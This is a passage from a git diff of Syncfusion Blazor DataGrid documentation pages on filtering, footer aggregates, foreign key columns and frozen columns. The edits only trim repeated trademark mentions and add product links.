 2. [Filtered](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridEvents-1.html#Syncfusion_Blazor_Grids_GridEvents_1_Filtered): Triggered after the filtering action is completed. Useful for post-processing tasks.
@@ -1288,11 +1288,11 @@ public class OrderData
 
 ## Limitations of using different filter types in different columns
 
-Different filter types such as Excel, Menu, and Checkbox can be defined in different columns of the same Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid. However, you cannot use these filter types along with filterBar type (default filter type). Because the filterbar type requires UI level changes with other filter types. For all other filter types, icons will be rendered in the column header.
+Different filter types such as Excel, Menu, and Checkbox can be defined in different columns of the same Blazor DataGrid. However, you cannot use these filter types along with filterBar type (default filter type). Because the filterbar type requires UI level changes with other filter types. For all other filter types, icons will be rendered in the column header.
 
 ## Filtering using DateRangePicker
 
-By default, for the date column in the filter menu, filtering action is performed based on a single date value selected from the `SfDatePicker`. The Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid also can perform the filtering action between the range of date values by rendering the [SfDateRangePicker](https://blazor.syncfusion.com/documentation/daterangepicker/getting-started-with-web-app) in the filter menu. This can be achieved by the filter template feature of the Grid.
+By default, for the date column in the filter menu, filtering action is performed based on a single date value selected from the `SfDatePicker`. The Blazor DataGrid also can perform the filtering action between the range of date values by rendering the [SfDateRangePicker](https://blazor.syncfusion.com/documentation/daterangepicker/getting-started-with-web-app) in the filter menu. This can be achieved by the filter template feature of the Grid.
 
 In this configuration, the `SfDateRangePicker` is rendered in the filter template of the **OrderDate** column. The [ValueChange](https://blazor.syncfusion.com/documentation/daterangepicker/events#valuechange) event captures the selected start and end dates. The filtering logic is handled in the [Filtering](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridEvents-1.html#Syncfusion_Blazor_Grids_GridEvents_1_Filtering) event, where the default filter action is canceled and custom predicates are applied using the selected date range.
 
@@ -1437,7 +1437,7 @@ public class OrderData
 
 ## Troubleshoot filter menu operator issue
 
-When using the filter menu in the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid, the UI may display filter operators for all columns based on the data type of the first record it encounters. If the first record contains null or empty values, the filter menu may not function as expected. To resolve this issue, follow these steps:
+When using the filter menu in the Blazor DataGrid, the UI may display filter operators for all columns based on the data type of the first record it encounters. If the first record contains null or empty values, the filter menu may not function as expected. To resolve this issue, follow these steps:
 
 **Explicitly define data types:** Specify the data type for each column using the Type property in the column definition. This ensures consistent operator rendering regardless of the initial data.
 
diff --git a/blazor/datagrid/filtering.md b/blazor/datagrid/filtering.md
index 7f92e8b063..9ae36084f1 100644
--- a/blazor/datagrid/filtering.md
+++ b/blazor/datagrid/filtering.md
@@ -9,7 +9,7 @@ documentation: ug
 
 # Filtering in Blazor DataGrid
 
-Filtering is a key feature in the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid that enables selective data viewing based on defined criteria. It helps narrow down large datasets and focus on relevant information, improving data analysis and decision-making.
+Filtering is a key feature in the Syncfusion<sup style="font-size:70%">&reg;</sup> [Blazor DataGrid](https://www.syncfusion.com/blazor-components/blazor-datagrid) that enables selective data viewing based on defined criteria. It helps narrow down large datasets and focus on relevant information, improving data analysis and decision-making.
 
 To enable filtering in the Grid, set the [AllowFiltering](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.SfGrid-1.html#Syncfusion_Blazor_Grids_SfGrid_1_AllowFiltering) property to **true**. Once enabled, configure filtering behavior and appearance using the [GridFilterSettings](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.SfGrid-1.html#Syncfusion_Blazor_Grids_SfGrid_1_FilterSettings) property.
 
@@ -92,7 +92,7 @@ public class OrderData
 
 ## Initial filter
 
-To apply an initial filter in the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid, define the filter criteria using the **Predicate** object within the [Columns](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridFilterSettings.html#Syncfusion_Blazor_Grids_GridFilterSettings_Columns) property of [GridFilterSettings](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.SfGrid-1.html#Syncfusion_Blazor_Grids_SfGrid_1_FilterSettings). The **Predicate** object represents the filtering condition and includes properties such as **Field**, **Operator**, and **Value**.
+To apply an initial filter in the Blazor DataGrid, define the filter criteria using the **Predicate** object within the [Columns](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridFilterSettings.html#Syncfusion_Blazor_Grids_GridFilterSettings_Columns) property of [GridFilterSettings](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.SfGrid-1.html#Syncfusion_Blazor_Grids_SfGrid_1_FilterSettings). The **Predicate** object represents the filtering condition and includes properties such as **Field**, **Operator**, and **Value**.
 
 {% tabs %}
 {% highlight razor tabtitle="Index.razor" %}
@@ -177,7 +177,7 @@ public class OrderData
 
 ### Initial filter with multiple values for same column
 
-In the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid, an initial filter can be configured to include multiple values for a specific column. This approach enables predefined filtering conditions to be applied immediately upon Grid initialization, allowing filtered records to be displayed as soon as the Grid loads.
+In the Blazor DataGrid, an initial filter can be configured to include multiple values for a specific column. This approach enables predefined filtering conditions to be applied immediately upon Grid initialization, allowing filtered records to be displayed as soon as the Grid loads.
 
 To apply an initial filter with multiple values for the same column, define the filter [Predicate](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridFilterColumn.html#Syncfusion_Blazor_Grids_GridFilterColumn_Predicate) object within the [Columns](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridFilterSettings.html#Syncfusion_Blazor_Grids_GridFilterSettings_Columns) property of [GridFilterSettings](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.SfGrid-1.html#Syncfusion_Blazor_Grids_SfGrid_1_FilterSettings).
 
@@ -300,7 +300,7 @@ To apply an initial filter with multiple values for the same column, define the
 
 ### Initial filter with multiple values for different columns
 
-In the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid, an initial filter can be configured to include multiple values across different columns. This approach enables predefined filtering conditions to be applied to multiple columns immediately upon Grid initialization, allowing filtered records to be displayed as soon as the Grid loads.
+In the Blazor DataGrid, an initial filter can be configured to include multiple values across different columns. This approach enables predefined filtering conditions to be applied to multiple columns immediately upon Grid initialization, allowing filtered records to be displayed as soon as the Grid loads.
 
 To apply an initial filter with multiple values for different columns, define the filter [Predicate](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridFilterColumn.html#Syncfusion_Blazor_Grids_GridFilterColumn_Predicate) object within the [Columns](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridFilterSettings.html#Syncfusion_Blazor_Grids_GridFilterSettings_Columns) property of [GridFilterSettings](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.SfGrid-1.html#Syncfusion_Blazor_Grids_SfGrid_1_FilterSettings).
 
@@ -441,7 +441,7 @@ To apply an initial filter with multiple values for different columns, define th
 
 ## Filter operators
 
-The Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid provides various filter operators that can be used to define filter conditions for columns. The filter operator for a column can be specified using the [Operator](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridFilterColumn.html#Syncfusion_Blazor_Grids_GridFilterColumn_Operator) property within the [Columns](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridFilterSettings.html#Syncfusion_Blazor_Grids_GridFilterSettings_Columns)  collection of [GridFilterSettings](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.SfGrid-1.html#Syncfusion_Blazor_Grids_SfGrid_1_FilterSettings).
+The Blazor DataGrid provides various filter operators that can be used to define filter conditions for columns. The filter operator for a column can be specified using the [Operator](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridFilterColumn.html#Syncfusion_Blazor_Grids_GridFilterColumn_Operator) property within the [Columns](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridFilterSettings.html#Syncfusion_Blazor_Grids_GridFilterSettings_Columns)  collection of [GridFilterSettings](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.SfGrid-1.html#Syncfusion_Blazor_Grids_SfGrid_1_FilterSettings).
 
 The available operators and their supported data types are listed below:
 
@@ -488,7 +488,7 @@ ab* | Matches values that contain “a”, followed by any characters, then “b
 
 ### Like filtering
 
-The **Like** filter processes single search patterns using the <b>%</b> symbol to retrieve values that match the defined criteria. The following Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid features support Like filtering on string-type columns:
+The **Like** filter processes single search patterns using the <b>%</b> symbol to retrieve values that match the defined criteria. The following Blazor DataGrid features support Like filtering on string-type columns:
 
 * Filter Menu
 * Filter Bar using the [Operator](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.FilterSettings.html#Syncfusion_Blazor_Grids_FilterSettings_Operator) property within the [GridFilterSettings](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.SfGrid-1.html#Syncfusion_Blazor_Grids_SfGrid_1_FilterSettings) configuration
@@ -506,7 +506,7 @@ The **Like** filter processes single search patterns using the <b>%</b> symbol t
 
 ## Filtering with case sensitivity
 
-The Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid provides the flexibility to enable or disable case sensitivity during filtering. This feature allows control over whether filtering operations should consider character casing. Case sensitivity can be configured using the [EnableCaseSensitivity](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridFilterSettings.html#Syncfusion_Blazor_Grids_GridFilterSettings_EnableCaseSensitivity) property of [GridFilterSettings](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.SfGrid-1.html#Syncfusion_Blazor_Grids_SfGrid_1_FilterSettings)configuration.
+The Blazor DataGrid provides the flexibility to enable or disable case sensitivity during filtering. This feature allows control over whether filtering operations should consider character casing. Case sensitivity can be configured using the [EnableCaseSensitivity](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridFilterSettings.html#Syncfusion_Blazor_Grids_GridFilterSettings_EnableCaseSensitivity) property of [GridFilterSettings](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.SfGrid-1.html#Syncfusion_Blazor_Grids_SfGrid_1_FilterSettings)configuration.
 
 {% tabs %}
 {% highlight razor tabtitle="Index.razor" %}
@@ -607,7 +607,7 @@ public class OrderData
 
 ## Enable different filter for a column
 
-The Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid provides flexibility to customize filtering behavior for individual columns by enabling various filter types such as **Menu**, **Excel**, and **Checkbox**. This feature allows tailoring the filtering experience to meet the specific requirements of each column. For example, a menu-based filter may be suitable for a category column, an Excel-like filter for a date column, and a checkbox filter for a status column.
+The Blazor DataGrid provides flexibility to customize filtering behavior for individual columns by enabling various filter types such as **Menu**, **Excel**, and **Checkbox**. This feature allows tailoring the filtering experience to meet the specific requirements of each column. For example, a menu-based filter may be suitable for a category column, an Excel-like filter for a date column, and a checkbox filter for a status column.
 
 This customization can be achieved by setting the [Type](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.FilterSettings.html#Syncfusion_Blazor_Grids_FilterSettings_Type) property within the [GridFilterSettings](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.SfGrid-1.html#Syncfusion_Blazor_Grids_SfGrid_1_FilterSettings)   configuration.
 
@@ -766,7 +766,7 @@ public class OrderData
 
 ## Change default filter operator for particular column
 
-The Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid provides flexibility to modify the default filter operator for individual columns. By default, the filter operator is set to **StartsWith** for string-type columns, and **Equal** for numerical and boolean-type columns. In scenarios where a different operator better suits the nature of the data, the default can be customized using the [Operator](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.FilterSettings.html#Syncfusion_Blazor_Grids_FilterSettings_Operator) property within the [GridFilterSettings](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.SfGrid-1.html#Syncfusion_Blazor_Grids_SfGrid_1_FilterSettings) configuration.
+The Blazor DataGrid provides flexibility to modify the default filter operator for individual columns. By default, the filter operator is set to **StartsWith** for string-type columns, and **Equal** for numerical and boolean-type columns. In scenarios where a different operator better suits the nature of the data, the default can be customized using the [Operator](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.FilterSettings.html#Syncfusion_Blazor_Grids_FilterSettings_Operator) property within the [GridFilterSettings](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.SfGrid-1.html#Syncfusion_Blazor_Grids_SfGrid_1_FilterSettings) configuration.
 
 {% tabs %}
 {% highlight razor tabtitle="Index.razor" %}
@@ -927,7 +927,7 @@ public class OrderData
 
 ## Filter via programmatically
 
-Programmatic filtering in the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid enables applying filters to specific columns without relying on UI interactions. This approach supports both single and multiple filter values.
+Programmatic filtering in the Blazor DataGrid enables applying filters to specific columns without relying on UI interactions. This approach supports both single and multiple filter values.
 
 Filtering can be performed using the [FilterByColumnAsync](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.SfGrid-1.html#Syncfusion_Blazor_Grids_SfGrid_1_FilterByColumnAsync_System_String_System_String_System_Object_System_String_System_Nullable_System_Boolean__System_Nullable_System_Boolean__System_Object_System_Object_System_String_) method of the Grid.
 
@@ -1025,7 +1025,7 @@ public class OrderData
 
 ## How to get filtered records
 
-Retrieving filtered records in the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid is essential when working with data that matches the currently applied filters. This can be accomplished using available methods and event properties in the Grid.
+Retrieving filtered records in the Blazor DataGrid is essential when working with data that matches the currently applied filters. This can be accomplished using available methods and event properties in the Grid.
 
 **Fetch filtered Records with GetFilteredRecordsAsync**
 
@@ -1306,7 +1306,7 @@ public async Task FilteredHandler(FilteredEventArgs args)
 
 ## Clear filter via programmatically
 
-The Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid provides the [ClearFilteringAsync](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.SfGrid-1.html#Syncfusion_Blazor_Grids_SfGrid_1_ClearFilteringAsync) method to remove applied filters and reset the Grid to its original state.
+The Blazor DataGrid provides the [ClearFilteringAsync](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.SfGrid-1.html#Syncfusion_Blazor_Grids_SfGrid_1_ClearFilteringAsync) method to remove applied filters and reset the Grid to its original state.
 
 {% tabs %}
 {% highlight razor tabtitle="Index.razor" %}
@@ -1393,7 +1393,7 @@ public class OrderData
 
 ## Filtering events
 
-Filtering events provide customization options for the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid when filtering is applied. These events can be used to prevent filtering for specific columns, display messages, or perform other actions based on application requirements.
+Filtering events provide customization options for the Blazor DataGrid when filtering is applied. These events can be used to prevent filtering for specific columns, display messages, or perform other actions based on application requirements.
 
 To implement filtering events, use the available [Filtering](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridEvents-1.html#Syncfusion_Blazor_Grids_GridEvents_1_Filtering) and [Filtered](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridEvents-1.html#Syncfusion_Blazor_Grids_GridEvents_1_Filtered) events. These events allow intervention in the filtering process and support customization.
 
@@ -1506,7 +1506,7 @@ public class OrderData
 
 ## Filter enum column
 
-Enum-type data can be filtered in the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid using the Filter Template feature.
+Enum-type data can be filtered in the Blazor DataGrid using the Filter Template feature.
 
 In the following example, the [SfDropDownList](https://blazor.syncfusion.com/documentation/dropdown-list/getting-started-with-web-app) component is rendered within the [FilterTemplate](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridColumn.html#Syncfusion_Blazor_Grids_GridColumn_FilterTemplate) of the **Type** column. The enumerated list is bound to the column, and filtering is applied dynamically using the  [ValueChange](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.DropDowns.DropDownListEvents-2.html#Syncfusion_Blazor_DropDowns_DropDownListEvents_2_ValueChange) event of the `SfDropDownList`. Within this event, the [FilterByColumnAsync](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.SfGrid-1.html#Syncfusion_Blazor_Grids_SfGrid_1_FilterByColumnAsync_System_String_System_String_System_Object_System_String_System_Nullable_System_Boolean__System_Nullable_System_Boolean__System_Object_System_Object_System_String_) method is used to apply filtering to the **Type** column.
 
diff --git a/blazor/datagrid/footer-aggregate.md b/blazor/datagrid/footer-aggregate.md
index 46bb1f8aae..9e62575996 100644
--- a/blazor/datagrid/footer-aggregate.md
+++ b/blazor/datagrid/footer-aggregate.md
@@ -9,7 +9,7 @@ documentation: ug
 
 # Footer aggregates in Blazor DataGrid
 
-The Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid supports calculating and displaying aggregate values in footer cells. Footer aggregates summarize column values across rows and render in the DataGrid footer. Use the [FooterTemplate](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridAggregateColumn.html#Syncfusion_Blazor_Grids_GridAggregateColumn_FooterTemplate) property to render aggregate values in footer cells.
+The Syncfusion<sup style="font-size:70%">&reg;</sup> [Blazor DataGrid](https://www.syncfusion.com/blazor-components/blazor-datagrid) supports calculating and displaying aggregate values in footer cells. Footer aggregates summarize column values across rows and render in the DataGrid footer. Use the [FooterTemplate](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridAggregateColumn.html#Syncfusion_Blazor_Grids_GridAggregateColumn_FooterTemplate) property to render aggregate values in footer cells.
 
 Access aggregate values inside `FooterTemplate` through the implicit template parameter **context**. Cast **context** to [AggregateTemplateContext](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.AggregateTemplateContext.html) to read properties such as **Sum, Average, Min, Max, Count, TrueCount,** and **FalseCount**.
 
@@ -121,7 +121,7 @@ Access aggregate values inside `FooterTemplate` through the implicit template pa
 
 ## Format aggregate values
 
-To format footer aggregate results in the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid, use the [Format](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridAggregateColumn.html#Syncfusion_Blazor_Grids_GridAggregateColumn_Format) property of the aggregate column. The Format string determines how the aggregate value is displayed and supports culture-aware currency, numeric, and date formats.
+To format footer aggregate results in the Blazor DataGrid, use the [Format](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridAggregateColumn.html#Syncfusion_Blazor_Grids_GridAggregateColumn_Format) property of the aggregate column. The Format string determines how the aggregate value is displayed and supports culture-aware currency, numeric, and date formats.
 
 {% tabs %}
 {% highlight razor tabtitle="Index.razor" %}
diff --git a/blazor/datagrid/foreignKey-column.md b/blazor/datagrid/foreignKey-column.md
index af6adfd404..9c990d43e1 100644
--- a/blazor/datagrid/foreignKey-column.md
+++ b/blazor/datagrid/foreignKey-column.md
@@ -9,7 +9,7 @@ documentation: ug
 
 # Foreign key column in Blazor DataGrid
 
-The Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid supports displaying related data from a **foreign key data source** in a column. This feature is useful when a column represents a foreign key relationship with another data source.
+The Syncfusion<sup style="font-size:70%">&reg;</sup> [Blazor DataGrid](https://www.syncfusion.com/blazor-components/blazor-datagrid) supports displaying related data from a **foreign key data source** in a column. This feature is useful when a column represents a foreign key relationship with another data source.
 
 A foreign key column can be configured using the following properties of the [GridForeignColumn](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridForeignColumn-1.html) directive:
 
@@ -19,7 +19,7 @@ A foreign key column can be configured using the following properties of the [Gr
 
 ## Binding local data
 
-The Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid supports binding local data to a foreign key column. This allows related data from a local data source to be displayed within the Grid.
+The Blazor DataGrid supports binding local data to a foreign key column. This allows related data from a local data source to be displayed within the Grid.
 
 {% tabs %}
 {% highlight razor tabtitle="Index.razor" %}
@@ -115,7 +115,7 @@ public class EmployeeDetails
 
 ## Binding remote data
 
-The Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid supports binding remote data to a foreign key column using [SfDataManager](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Data.SfDataManager.html). This approach is useful when retrieving data from services such as **OData**, **Web API**, or other remote endpoints.
+The Blazor DataGrid supports binding remote data to a foreign key column using [SfDataManager](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Data.SfDataManager.html). This approach is useful when retrieving data from services such as **OData**, **Web API**, or other remote endpoints.
 
 {% tabs %}
 {% highlight razor tabtitle="Index.razor" %}
@@ -199,7 +199,7 @@ public class OrderDetails
 
 ## Use edit template in foreign key column
 
-The Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid supports customizing the editor for a foreign key column using the [EditTemplate](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridColumn.html#Syncfusion_Blazor_Grids_GridColumn_EditTemplate) feature. By default, a [dropdown](https://blazor.syncfusion.com/documentation/dropdown-list/getting-started-with-web-app) is rendered for editing foreign key columns. Other components, such as [ComboBox](https://blazor.syncfusion.com/documentation/combobox/getting-started-with-web-app), can be used by defining an edit template.
+The Blazor DataGrid supports customizing the editor for a foreign key column using the [EditTemplate](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridColumn.html#Syncfusion_Blazor_Grids_GridColumn_EditTemplate) feature. By default, a [dropdown](https://blazor.syncfusion.com/documentation/dropdown-list/getting-started-with-web-app) is rendered for editing foreign key columns. Other components, such as [ComboBox](https://blazor.syncfusion.com/documentation/combobox/getting-started-with-web-app), can be used by defining an edit template.
 
 {% tabs %}
 {% highlight razor tabtitle="Index.razor" %}
@@ -316,7 +316,7 @@ The Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid supports cu
 
 ## Customize filter UI in foreign key column
 
-The Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid allows customizing the filtering interface for foreign key columns using the [FilterTemplate](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridColumn.html#Syncfusion_Blazor_Grids_GridColumn_FilterTemplate) property. By default, a dropdown is rendered for filtering foreign key columns. The `FilterTemplate` property enables creating a custom UI for filtering.
+The Blazor DataGrid allows customizing the filtering interface for foreign key columns using the [FilterTemplate](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridColumn.html#Syncfusion_Blazor_Grids_GridColumn_FilterTemplate) property. By default, a dropdown is rendered for filtering foreign key columns. The `FilterTemplate` property enables creating a custom UI for filtering.
 
 > For all filter types other than `FilterBar`, filtering parameters are passed as **PredicateModel&lt;T&gt;**, where **T** represents the type of the [ForeignKeyValue](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridColumn.html#Syncfusion_Blazor_Grids_GridColumn_ForeignKeyValue) property when using a foreign key column.
 
@@ -426,7 +426,7 @@ public class EmployeeDetails
 
 ## Use filter bar template in foreign key column
 
-The Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid allows customizing the filter bar for foreign key columns using the [FilterTemplate](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridColumn.html#Syncfusion_Blazor_Grids_GridColumn_FilterTemplate) property. This feature enables rendering a custom component or HTML template in the filter bar instead of the default UI.
+The Blazor DataGrid allows customizing the filter bar for foreign key columns using the [FilterTemplate](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridColumn.html#Syncfusion_Blazor_Grids_GridColumn_FilterTemplate) property. This feature enables rendering a custom component or HTML template in the filter bar instead of the default UI.
 
 {% tabs %}
 {% highlight razor tabtitle="Index.razor" %}
@@ -558,7 +558,7 @@ public class EmployeeDetails
 
 ## Perform aggregation in foreign key column
 
-By default, the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid does not support aggregation in foreign key columns. However, this can be achieved by using a custom aggregate function.
+By default, the Blazor DataGrid does not support aggregation in foreign key columns. However, this can be achieved by using a custom aggregate function.
 
 To perform aggregation in a foreign key column:
 
@@ -770,7 +770,7 @@ By default, the DataGrid generates a filter query for foreign key columns based
 
 ## Render foreign key value in column template
 
-The Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid supports rendering foreign key values within a [column template](https://blazor.syncfusion.com/documentation/datagrid/column-template), enabling display of descriptive values from a related data source instead of the underlying foreign key. This approach is useful when a foreign key refers to an ID and a corresponding name or label needs to be shown.
+The Blazor DataGrid supports rendering foreign key values within a [column template](https://blazor.syncfusion.com/documentation/datagrid/column-template), enabling display of descriptive values from a related data source instead of the underlying foreign key. This approach is useful when a foreign key refers to an ID and a corresponding name or label needs to be shown.
 
 To configure this feature, define a column using the [Template](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridColumn.html#Syncfusion_Blazor_Grids_GridColumn_Template) property and bind the required value from the foreign key mapping.
 
@@ -862,7 +862,7 @@ To configure this feature, define a column using the [Template](https://help.syn
 
 ## Enable multiple foreign key columns
 
-The Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid supports configuring multiple foreign key columns with editing options. This feature allows displaying related data from different foreign data sources in the Grid.
+The Blazor DataGrid supports configuring multiple foreign key columns with editing options. This feature allows displaying related data from different foreign data sources in the Grid.
 
 {% tabs %}
 {% highlight razor tabtitle="Index.razor" %}
@@ -997,7 +997,7 @@ public class EmployeeDetails
 
 ## Edit template in foreign key column using remote data
 
-The Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid supports customizing the edit template for foreign key columns when using remote data. By default, a [DropDownList](https://blazor.syncfusion.com/documentation/dropdown-list/getting-started-with-web-app) is rendered for editing. Other components, such as [AutoComplete](https://blazor.syncfusion.com/documentation/autocomplete/getting-started-with-web-app), can be used by defining an [EditTemplate](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridColumn.html#Syncfusion_Blazor_Grids_GridColumn_EditTemplate).
+The Blazor DataGrid supports customizing the edit template for foreign key columns when using remote data. By default, a [DropDownList](https://blazor.syncfusion.com/documentation/dropdown-list/getting-started-with-web-app) is rendered for editing. Other components, such as [AutoComplete](https://blazor.syncfusion.com/documentation/autocomplete/getting-started-with-web-app), can be used by defining an [EditTemplate](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.GridColumn.html#Syncfusion_Blazor_Grids_GridColumn_EditTemplate).
 
 **Key steps**
 
diff --git a/blazor/datagrid/frozen-column.md b/blazor/datagrid/frozen-column.md
index 0ee5514b10..76bf5e128c 100644
--- a/blazor/datagrid/frozen-column.md
+++ b/blazor/datagrid/frozen-column.md
@@ -9,7 +9,7 @@ documentation: ug
 
 # Column Pinning (Frozen) in Blazor DataGrid
 
-The Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid supports freezing columns to keep them visible while scrolling through large datasets. This feature ensures that important fields remain accessible regardless of horizontal scroll position.
+The Syncfusion<sup style="font-size:70%">&reg;</sup> [Blazor DataGrid](https://www.syncfusion.com/blazor-components/blazor-datagrid) supports freezing columns to keep them visible while scrolling through large datasets. This feature ensures that important fields remain accessible regardless of horizontal scroll position.
 
 Column pinning can be configured using either grid-level or column-level settings.
 
@@ -160,7 +160,7 @@ public class OrderDetails
 
 ## Change default frozen line color
 
-The Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid allows customizing the border color of frozen columns using CSS. This includes styling for **left**, **right**, and **fixed** frozen columns to match application design requirements.
+The Blazor DataGrid allows customizing the border color of frozen columns using CSS. This includes styling for **left**, **right**, and **fixed** frozen columns to match application design requirements.
 
 To change the default frozen line color, apply styles using these class selectors:
 
@@ -296,7 +296,7 @@ To change the default frozen line color, apply styles using these class selector
 
 ## Detail template with frozen columns
 
-The Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid supports frozen columns in combination with a [DetailTemplate](https://blazor.syncfusion.com/documentation/datagrid/detail-template). The detail template displays additional information for a row when expanded, without affecting the frozen column layout.
+The Blazor DataGrid supports frozen columns in combination with a [DetailTemplate](https://blazor.syncfusion.com/documentation/datagrid/detail-template). The detail template displays additional information for a row when expanded, without affecting the frozen column layout.
 
 {% tabs %}
 {% highlight razor tabtitle="Index.razor" %}
@@ -429,7 +429,7 @@ public class EmployeeDetails
 
 ## Add or remove frozen columns by dragging the column separator
 
-The Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid allows dynamically modifying frozen columns by dragging and dropping the column separator. This interaction enables adjusting which columns remain frozen, providing flexibility to customize the layout directly through the Grid UI.
+The Blazor DataGrid allows dynamically modifying frozen columns by dragging and dropping the column separator. This interaction enables adjusting which columns remain frozen, providing flexibility to customize the layout directly through the Grid UI.
 To enable this behavior, set the [AllowFreezeLineMoving](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Grids.SfGrid-1.html#Syncfusion_Blazor_Grids_SfGrid_1_AllowFreezeLineMoving) property to **true** in the Grid.
 
 {% tabs %}
@@ -522,7 +522,7 @@ public class OrderDetails
 
 ## Limitations of frozen columns and freeze direction  
 
-The frozen columns and freeze direction features in Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor DataGrid have the following limitations:
+The frozen columns and freeze direction features in Blazor DataGrid have the following limitations:
 
 * The **Row Template** feature not compatible with frozen columns.
 * Infinite scroll in cache mode is not supported.
diff --git a/blazor/datagrid/getting-started-with-maui-app.md b/blazor/datagrid/getting-started-with-maui-app.md
index f78925b9ed..38ae9a604a 100644
--- a/blazor/datagrid/getting-started-with-maui-app.md
+++ b/blazor/datagrid/getting-started-with-maui-app.md
